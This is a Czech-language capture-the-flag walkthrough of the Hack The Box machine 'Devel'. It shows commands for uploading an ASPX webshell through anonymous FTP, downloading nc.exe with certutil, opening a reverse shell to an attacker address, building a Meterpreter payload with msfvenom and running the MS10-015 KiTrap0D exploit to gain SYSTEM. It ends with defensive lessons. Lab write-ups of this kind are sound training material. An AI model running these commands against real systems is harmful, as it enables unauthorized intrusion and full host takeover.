Devel
Úvod a kontext
Devel je starší, ale pořád výukově cenný stroj, protože ukazuje úplně základní a přitom častý řetězec: anonymní FTP zapisující přímo do webrootu IIS a následně lokální privilege escalation na neaktualizovaném Windows hostu.
V první polovině není potřeba žádná složitá kreativita. Jakmile anonymous FTP umožní nahrát ASPX webshell, jde z webu spustit vlastní binárku a získat stabilní shell. Druhá půlka pak ukazuje, že i z obyčejného webového kontextu může starý kernel bug typu KiTrap0D rychle udělat SYSTEM.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
IP=10.10.10.5;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Analýza zjištění
Anonymous FTP jako webroot
Rozhodující detail je, že anonymous FTP neobsahuje jen download, ale evidentně i obsah servírovaný přes IIS. Jakmile se v FTP listing objeví iisstart.htm, je velmi pravděpodobné, že uploadnutý ASPX soubor půjde z webu rovnou vykonat.
ftp-anon: Anonymous FTP login allowed
iisstart.htm
Získání přístupu
Upload ASPX webshellu a první shell
Anonymous FTP stačí k nahrání jednoduchého ASPX webshellu. Přes něj už lze stáhnout nc.exe a otevřít si obyčejný command shell. Tím končí webová část a začíná lokální práce na hostu.
certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/nc.exe c:\programdata\nc.exe
c:\programdata\nc.exe -e cmd 10.10.14.5 4000
Získání user flagu
user.txt.txt je tady hlavně potvrzení, že upload přes FTP skutečně vedl až k interaktivnímu shellu na hostu a ne jen k jednorázovému vykonání příkazu přes web.
type user.txt.txt
__CENSORED__
Eskalace oprávnění
Sherlock a potvrzení KiTrap0D
Další směr je u starého Windows hostu přímočarý: zjistit, zda není zranitelný vůči známým lokálním eskalacím. Sherlock.ps1 potvrdí MS10-015 / KiTrap0D, takže dává smysl připravit si Meterpreter session a exploit spustit lokálně.
certutil.exe -urlcache -split -f http://10.10.14.5:8000/ps1/Sherlock.ps1 c:\programdata\Sherlock.ps1
powershell IEX(Get-Content .\Sherlock.ps1);Find-AllVulns
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
VulnStatus : Appears Vulnerable
Meterpreter a MS10-015
Protože ms10_015_kitrap0d očekává Meterpreter session, je potřeba nejdřív dodat vlastní payload, spustit handler a teprve potom exploit navázat na získanou session. Na starém systému jde o přímočarou cestu k SYSTEM.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o test.exe
certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/test.exe c:\programdata\test.exe
msfconsole
use exploit/multi/handler
set exitonsession false
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.14.5
run -j
c:\programdata\test.exe
use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost 10.10.14.5
set DisablePayloadHandler true
run -j
type root.txt.txt
__CENSORED__
Shrnutí klíčových poznatků
- První zásadní slabinou nebyla RCE v aplikaci, ale anonymous FTP zapisující do stejného prostoru, který servíroval IIS.
- Uživatelský shell vznikl prostým uploadem webshellu a spuštěním
nc.exe, bez potřeby dalších přihlašovacích údajů. - Root část stála na neaktualizovaném Windows hostu zranitelném vůči
MS10-015 / KiTrap0D.
Co si odnést do praxe
- Webroot nesmí být současně zapisovatelný přes anonymous FTP. Jakmile lze do IIS nahrát aktivní obsah bez autentizace, jde prakticky o přímé RCE.
- Staré Windows systémy bez bezpečnostních aktualizací mají po prvním shellu velmi krátkou životnost. KiTrap0D je dobrá připomínka, že patch management je stejně důležitý jako ochrana perimetru.
- U podobných systémů je potřeba sledovat nejen webové logy, ale i samotný vznik nových binárek a procesů typu
certutil.exenebonc.exe, které často prozradí přechod od webshellu ke stabilnímu shellu.